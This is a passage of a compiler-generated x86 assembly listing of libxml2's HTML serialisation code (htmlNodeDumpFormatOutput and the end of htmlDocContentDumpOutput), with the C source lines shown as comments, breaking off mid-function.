_buf$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_encoding$ = 16 ; size = 4
_htmlDocContentDumpOutput PROC ; COMDAT
; 1055 : const char *encoding) {
push ebp
mov ebp, esp
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 1056 : htmlDocContentDumpFormatOutput(buf, cur, encoding, 1);
push 1
mov eax, DWORD PTR _encoding$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _buf$[ebp]
push edx
call _htmlDocContentDumpFormatOutput
add esp, 16 ; 00000010H
; 1057 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_htmlDocContentDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlNodeDumpFormatOutput
_TEXT SEGMENT
_buffer$1 = -8 ; size = 4
_info$ = -4 ; size = 4
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_encoding$ = 20 ; size = 4
_format$ = 24 ; size = 4
_htmlNodeDumpFormatOutput PROC ; COMDAT
; 818 : xmlNodePtr cur, const char *encoding, int format) {
push ebp
mov ebp, esp
sub esp, 8
push esi
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 819 : const htmlElemDesc * info;
; 820 :
; 821 : xmlInitParser();
call _xmlInitParser
; 822 :
; 823 : if ((cur == NULL) || (buf == NULL)) {
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN3@htmlNodeDu
cmp DWORD PTR _buf$[ebp], 0
jne SHORT $LN2@htmlNodeDu
$LN3@htmlNodeDu:
; 824 : return;
jmp $LN1@htmlNodeDu
$LN2@htmlNodeDu:
; 825 : }
; 826 : /*
; 827 : * Special cases.
; 828 : */
; 829 : if (cur->type == XML_DTD_NODE)
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+4], 14 ; 0000000eH
jne SHORT $LN4@htmlNodeDu
; 830 : return;
jmp $LN1@htmlNodeDu
$LN4@htmlNodeDu:
; 831 : if ((cur->type == XML_HTML_DOCUMENT_NODE) ||
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+4], 13 ; 0000000dH
je SHORT $LN6@htmlNodeDu
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+4], 9
jne SHORT $LN5@htmlNodeDu
$LN6@htmlNodeDu:
; 832 : (cur->type == XML_DOCUMENT_NODE)){
; 833 : htmlDocContentDumpOutput(buf, (xmlDocPtr) cur, encoding);
mov eax, DWORD PTR _encoding$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _buf$[ebp]
push edx
call _htmlDocContentDumpOutput
add esp, 12 ; 0000000cH
; 834 : return;
jmp $LN1@htmlNodeDu
$LN5@htmlNodeDu:
; 835 : }
; 836 : if (cur->type == XML_ATTRIBUTE_NODE) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+4], 2
jne SHORT $LN7@htmlNodeDu
; 837 : htmlAttrDumpOutput(buf, doc, (xmlAttrPtr) cur, encoding);
mov ecx, DWORD PTR _encoding$[ebp]
push ecx
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _doc$[ebp]
push eax
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _htmlAttrDumpOutput
add esp, 16 ; 00000010H
; 838 : return;
jmp $LN1@htmlNodeDu
$LN7@htmlNodeDu:
; 839 : }
; 840 : if (cur->type == HTML_TEXT_NODE) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+4], 3
jne $LN8@htmlNodeDu
; 841 : if (cur->content != NULL) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+40], 0
je $LN9@htmlNodeDu
; 842 : if (((cur->name == (const xmlChar *)xmlStringText) ||
; 843 : (cur->name != (const xmlChar *)xmlStringTextNoenc)) &&
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+8], OFFSET _xmlStringText
je SHORT $LN12@htmlNodeDu
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+8], OFFSET _xmlStringTextNoenc
je $LN10@htmlNodeDu
$LN12@htmlNodeDu:
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+20], 0
je SHORT $LN13@htmlNodeDu
push OFFSET ??_C@_06OLONEIEH@script@
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+20]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
je SHORT $LN10@htmlNodeDu
push OFFSET ??_C@_05IAKJCFIM@style@
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+20]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
je SHORT $LN10@htmlNodeDu
$LN13@htmlNodeDu:
; 844 : ((cur->parent == NULL) ||
; 845 : ((xmlStrcasecmp(cur->parent->name, BAD_CAST "script")) &&
; 846 : (xmlStrcasecmp(cur->parent->name, BAD_CAST "style"))))) {
; 847 : xmlChar *buffer;
; 848 :
; 849 : buffer = xmlEncodeEntitiesReentrant(doc, cur->content);
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+40]
push edx
mov eax, DWORD PTR _doc$[ebp]
push eax
call _xmlEncodeEntitiesReentrant
add esp, 8
mov DWORD PTR _buffer$1[ebp], eax
; 850 : if (buffer != NULL) {
cmp DWORD PTR _buffer$1[ebp], 0
je SHORT $LN14@htmlNodeDu
; 851 : xmlOutputBufferWriteString(buf, (const char *)buffer);
mov ecx, DWORD PTR _buffer$1[ebp]
push ecx
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
; 852 : xmlFree(buffer);
mov esi, esp
mov eax, DWORD PTR _buffer$1[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN14@htmlNodeDu:
; 853 : }
; 854 : } else {
jmp SHORT $LN9@htmlNodeDu
$LN10@htmlNodeDu:
; 855 : xmlOutputBufferWriteString(buf, (const char *)cur->content);
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+40]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
$LN9@htmlNodeDu:
; 856 : }
; 857 : }
; 858 : return;
jmp $LN1@htmlNodeDu
$LN8@htmlNodeDu:
; 859 : }
; 860 : if (cur->type == HTML_COMMENT_NODE) {
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+4], 8
jne SHORT $LN15@htmlNodeDu
; 861 : if (cur->content != NULL) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+40], 0
je SHORT $LN16@htmlNodeDu
; 862 : xmlOutputBufferWriteString(buf, "<!--");
push OFFSET ??_C@_04FFDNBKGC@?$DM?$CB?9?9@
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 863 : xmlOutputBufferWriteString(buf, (const char *)cur->content);
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+40]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 864 : xmlOutputBufferWriteString(buf, "-->");
push OFFSET ??_C@_03PNLDJJMO@?9?9?$DO@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
$LN16@htmlNodeDu:
; 865 : }
; 866 : return;
jmp $LN1@htmlNodeDu
$LN15@htmlNodeDu:
; 867 : }
; 868 : if (cur->type == HTML_PI_NODE) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+4], 7
jne SHORT $LN17@htmlNodeDu
; 869 : if (cur->name == NULL)
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+8], 0
jne SHORT $LN18@htmlNodeDu
; 870 : return;
jmp $LN1@htmlNodeDu
$LN18@htmlNodeDu:
; 871 : xmlOutputBufferWriteString(buf, "<?");
push OFFSET ??_C@_02HFBBBACF@?$DM?$DP@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 872 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 873 : if (cur->content != NULL) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+40], 0
je SHORT $LN19@htmlNodeDu
; 874 : xmlOutputBufferWriteString(buf, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 875 : xmlOutputBufferWriteString(buf, (const char *)cur->content);
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+40]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
$LN19@htmlNodeDu:
; 876 : }
; 877 : xmlOutputBufferWriteString(buf, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 878 : return;
jmp $LN1@htmlNodeDu
$LN17@htmlNodeDu:
; 879 : }
; 880 : if (cur->type == HTML_ENTITY_REF_NODE) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+4], 5
jne SHORT $LN20@htmlNodeDu
; 881 : xmlOutputBufferWriteString(buf, "&");
push OFFSET ??_C@_01HNPIGOCE@?$CG@
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 882 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 883 : xmlOutputBufferWriteString(buf, ";");
push OFFSET ??_C@_01ICJEACDI@?$DL@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 884 : return;
jmp $LN1@htmlNodeDu
$LN20@htmlNodeDu:
; 885 : }
; 886 : if (cur->type == HTML_PRESERVE_NODE) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+4], 4
jne SHORT $LN21@htmlNodeDu
; 887 : if (cur->content != NULL) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+40], 0
je SHORT $LN22@htmlNodeDu
; 888 : xmlOutputBufferWriteString(buf, (const char *)cur->content);
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+40]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
$LN22@htmlNodeDu:
; 889 : }
; 890 : return;
jmp $LN1@htmlNodeDu
$LN21@htmlNodeDu:
; 891 : }
; 892 :
; 893 : /*
; 894 : * Get specific HTML info for that node.
; 895 : */
; 896 : if (cur->ns == NULL)
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+36], 0
jne SHORT $LN23@htmlNodeDu
; 897 : info = htmlTagLookup(cur->name);
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _htmlTagLookup
add esp, 4
mov DWORD PTR _info$[ebp], eax
jmp SHORT $LN24@htmlNodeDu
$LN23@htmlNodeDu:
; 898 : else
; 899 : info = NULL;
mov DWORD PTR _info$[ebp], 0
$LN24@htmlNodeDu:
; 900 :
; 901 : xmlOutputBufferWriteString(buf, "<");
push OFFSET ??_C@_01MNNFJEPP@?$DM@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 902 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+36], 0
je SHORT $LN25@htmlNodeDu
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+36]
cmp DWORD PTR [ecx+12], 0
je SHORT $LN25@htmlNodeDu
; 903 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+36]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
; 904 : xmlOutputBufferWriteString(buf, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
$LN25@htmlNodeDu:
; 905 : }
; 906 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 907 : if (cur->nsDef)
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+48], 0
je SHORT $LN26@htmlNodeDu
; 908 : xmlNsListDumpOutput(buf, cur->nsDef);
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+48]
push eax
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlNsListDumpOutput
add esp, 8
$LN26@htmlNodeDu:
; 909 : if (cur->properties != NULL)
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+44], 0
je SHORT $LN27@htmlNodeDu
; 910 : htmlAttrListDumpOutput(buf, doc, cur->properties, encoding);
mov eax, DWORD PTR _encoding$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+44]
push edx
mov eax, DWORD PTR _doc$[ebp]
push eax
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _htmlAttrListDumpOutput
add esp, 16 ; 00000010H
$LN27@htmlNodeDu:
; 911 :
; 912 : if ((info != NULL) && (info->empty)) {
cmp DWORD PTR _info$[ebp], 0
je $LN28@htmlNodeDu
mov edx, DWORD PTR _info$[ebp]
movsx eax, BYTE PTR [edx+7]
test eax, eax
je $LN28@htmlNodeDu
; 913 : xmlOutputBufferWriteString(buf, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 914 : if ((format) && (!info->isinline) && (cur->next != NULL)) {
cmp DWORD PTR _format$[ebp], 0
je SHORT $LN29@htmlNodeDu
mov edx, DWORD PTR _info$[ebp]
movsx eax, BYTE PTR [edx+10]
test eax, eax
jne SHORT $LN29@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+24], 0
je SHORT $LN29@htmlNodeDu
; 915 : if ((cur->next->type != HTML_TEXT_NODE) &&
; 916 : (cur->next->type != HTML_ENTITY_REF_NODE) &&
; 917 : (cur->parent != NULL) &&
; 918 : (cur->parent->name != NULL) &&
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+24]
cmp DWORD PTR [eax+4], 3
je SHORT $LN29@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+24]
cmp DWORD PTR [edx+4], 5
je SHORT $LN29@htmlNodeDu
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+20], 0
je SHORT $LN29@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+20]
cmp DWORD PTR [edx+8], 0
je SHORT $LN29@htmlNodeDu
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+20]
mov edx, 1
imul eax, edx, 0
mov ecx, DWORD PTR [ecx+8]
movzx edx, BYTE PTR [ecx+eax]
cmp edx, 112 ; 00000070H
je SHORT $LN29@htmlNodeDu
; 919 : (cur->parent->name[0] != 'p')) /* p, pre, param */
; 920 : xmlOutputBufferWriteString(buf, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
$LN29@htmlNodeDu:
; 921 : }
; 922 : return;
jmp $LN1@htmlNodeDu
$LN28@htmlNodeDu:
; 923 : }
; 924 : if (((cur->type == XML_ELEMENT_NODE) || (cur->content == NULL)) &&
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+4], 1
je SHORT $LN32@htmlNodeDu
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+40], 0
jne $LN31@htmlNodeDu
$LN32@htmlNodeDu:
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+12], 0
jne $LN31@htmlNodeDu
; 925 : (cur->children == NULL)) {
; 926 : if ((info != NULL) && (info->saveEndTag != 0) &&
; 927 : (xmlStrcmp(BAD_CAST info->name, BAD_CAST "html")) &&
cmp DWORD PTR _info$[ebp], 0
je SHORT $LN33@htmlNodeDu
mov ecx, DWORD PTR _info$[ebp]
movsx edx, BYTE PTR [ecx+6]
test edx, edx
je SHORT $LN33@htmlNodeDu
push OFFSET ??_C@_04PNIFHPHN@html@
mov eax, DWORD PTR _info$[ebp]
mov ecx, DWORD PTR [eax]
push ecx
call _xmlStrcmp
add esp, 8
test eax, eax
je SHORT $LN33@htmlNodeDu
push OFFSET ??_C@_04IEJGKNJ@body@
mov edx, DWORD PTR _info$[ebp]
mov eax, DWORD PTR [edx]
push eax
call _xmlStrcmp
add esp, 8
test eax, eax
je SHORT $LN33@htmlNodeDu
; 928 : (xmlStrcmp(BAD_CAST info->name, BAD_CAST "body"))) {
; 929 : xmlOutputBufferWriteString(buf, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 930 : } else {
jmp SHORT $LN34@htmlNodeDu
$LN33@htmlNodeDu:
; 931 : xmlOutputBufferWriteString(buf, "></");
push OFFSET ??_C@_03PBCCILOI@?$DO?$DM?1@
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
; 932 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+36], 0
je SHORT $LN35@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+36]
cmp DWORD PTR [edx+12], 0
je SHORT $LN35@htmlNodeDu
; 933 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+36]
mov edx, DWORD PTR [ecx+12]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 934 : xmlOutputBufferWriteString(buf, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
$LN35@htmlNodeDu:
; 935 : }
; 936 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 937 : xmlOutputBufferWriteString(buf, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
$LN34@htmlNodeDu:
; 938 : }
; 939 : if ((format) && (cur->next != NULL) &&
; 940 : (info != NULL) && (!info->isinline)) {
cmp DWORD PTR _format$[ebp], 0
je SHORT $LN36@htmlNodeDu
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+24], 0
je SHORT $LN36@htmlNodeDu
cmp DWORD PTR _info$[ebp], 0
je SHORT $LN36@htmlNodeDu
mov ecx, DWORD PTR _info$[ebp]
movsx edx, BYTE PTR [ecx+10]
test edx, edx
jne SHORT $LN36@htmlNodeDu
; 941 : if ((cur->next->type != HTML_TEXT_NODE) &&
; 942 : (cur->next->type != HTML_ENTITY_REF_NODE) &&
; 943 : (cur->parent != NULL) &&
; 944 : (cur->parent->name != NULL) &&
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+24]
cmp DWORD PTR [ecx+4], 3
je SHORT $LN36@htmlNodeDu
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+24]
cmp DWORD PTR [eax+4], 5
je SHORT $LN36@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+20], 0
je SHORT $LN36@htmlNodeDu
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+20]
cmp DWORD PTR [eax+8], 0
je SHORT $LN36@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+20]
mov eax, 1
imul ecx, eax, 0
mov edx, DWORD PTR [edx+8]
movzx eax, BYTE PTR [edx+ecx]
cmp eax, 112 ; 00000070H
je SHORT $LN36@htmlNodeDu
; 945 : (cur->parent->name[0] != 'p')) /* p, pre, param */
; 946 : xmlOutputBufferWriteString(buf, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
$LN36@htmlNodeDu:
; 947 : }
; 948 : return;
jmp $LN1@htmlNodeDu
$LN31@htmlNodeDu:
; 949 : }
; 950 : xmlOutputBufferWriteString(buf, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
; 951 : if ((cur->type != XML_ELEMENT_NODE) &&
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+4], 1
je SHORT $LN38@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+40], 0
je SHORT $LN38@htmlNodeDu
; 952 : (cur->content != NULL)) {
; 953 : /*
; 954 : * Uses the OutputBuffer property to automatically convert
; 955 : * invalids to charrefs
; 956 : */
; 957 :
; 958 : xmlOutputBufferWriteString(buf, (const char *) cur->content);
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+40]
push eax
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
$LN38@htmlNodeDu:
; 959 : }
; 960 : if (cur->children != NULL) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+12], 0
je $LN39@htmlNodeDu
; 961 : if ((format) && (info != NULL) && (!info->isinline) &&
; 962 : (cur->children->type != HTML_TEXT_NODE) &&
; 963 : (cur->children->type != HTML_ENTITY_REF_NODE) &&
; 964 : (cur->children != cur->last) &&
; 965 : (cur->name != NULL) &&
cmp DWORD PTR _format$[ebp], 0
je SHORT $LN40@htmlNodeDu
cmp DWORD PTR _info$[ebp], 0
je SHORT $LN40@htmlNodeDu
mov eax, DWORD PTR _info$[ebp]
movsx ecx, BYTE PTR [eax+10]
test ecx, ecx
jne SHORT $LN40@htmlNodeDu
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+12]
cmp DWORD PTR [eax+4], 3
je SHORT $LN40@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+12]
cmp DWORD PTR [edx+4], 5
je SHORT $LN40@htmlNodeDu
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [eax+12]
cmp edx, DWORD PTR [ecx+16]
je SHORT $LN40@htmlNodeDu
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+8], 0
je SHORT $LN40@htmlNodeDu
mov ecx, 1
imul edx, ecx, 0
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+8]
movzx edx, BYTE PTR [ecx+edx]
cmp edx, 112 ; 00000070H
je SHORT $LN40@htmlNodeDu
; 966 : (cur->name[0] != 'p')) /* p, pre, param */
; 967 : xmlOutputBufferWriteString(buf, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
$LN40@htmlNodeDu:
; 968 : htmlNodeListDumpOutput(buf, doc, cur->children, encoding, format);
mov ecx, DWORD PTR _format$[ebp]
push ecx
mov edx, DWORD PTR _encoding$[ebp]
push edx
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _doc$[ebp]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _htmlNodeListDumpOutput
add esp, 20 ; 00000014H
; 969 : if ((format) && (info != NULL) && (!info->isinline) &&
; 970 : (cur->last->type != HTML_TEXT_NODE) &&
; 971 : (cur->last->type != HTML_ENTITY_REF_NODE) &&
; 972 : (cur->children != cur->last) &&
; 973 : (cur->name != NULL) &&
cmp DWORD PTR _format$[ebp], 0
je SHORT $LN39@htmlNodeDu
cmp DWORD PTR _info$[ebp], 0
je SHORT $LN39@htmlNodeDu
mov ecx, DWORD PTR _info$[ebp]
movsx edx, BYTE PTR [ecx+10]
test edx, edx
jne SHORT $LN39@htmlNodeDu
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+16]
cmp DWORD PTR [ecx+4], 3
je SHORT $LN39@htmlNodeDu
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+16]
cmp DWORD PTR [eax+4], 5
je SHORT $LN39@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [ecx+12]
cmp eax, DWORD PTR [edx+16]
je SHORT $LN39@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+8], 0
je SHORT $LN39@htmlNodeDu
mov edx, 1
imul eax, edx, 0
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
movzx eax, BYTE PTR [edx+eax]
cmp eax, 112 ; 00000070H
je SHORT $LN39@htmlNodeDu
; 974 : (cur->name[0] != 'p')) /* p, pre, param */
; 975 : xmlOutputBufferWriteString(buf, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
$LN39@htmlNodeDu:
; 976 : }
; 977 : xmlOutputBufferWriteString(buf, "</");
push OFFSET ??_C@_02DPNDACHE@?$DM?1@
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
; 978 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+36], 0
je SHORT $LN42@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+36]
cmp DWORD PTR [edx+12], 0
je SHORT $LN42@htmlNodeDu
; 979 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+36]
mov edx, DWORD PTR [ecx+12]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 980 : xmlOutputBufferWriteString(buf, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
$LN42@htmlNodeDu:
; 981 : }
; 982 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 983 : xmlOutputBufferWriteString(buf, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
; 984 : if ((format) && (info != NULL) && (!info->isinline) &&
cmp DWORD PTR _format$[ebp], 0
je SHORT $LN1@htmlNodeDu
cmp DWORD PTR _info$[ebp], 0
je SHORT $LN1@htmlNodeDu
mov eax, DWORD PTR _info$[ebp]
movsx ecx, BYTE PTR [eax+10]
test ecx, ecx
jne SHORT $LN1@htmlNodeDu
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+24], 0
je SHORT $LN1@htmlNodeDu
; 985 : (cur->next != NULL)) {
; 986 : if ((cur->next->type != HTML_TEXT_NODE) &&
; 987 : (cur->next->type != HTML_ENTITY_REF_NODE) &&
; 988 : (cur->parent != NULL) &&
; 989 : (cur->parent->name != NULL) &&
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+24]
cmp DWORD PTR [ecx+4], 3
je SHORT $LN1@htmlNodeDu
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+24]
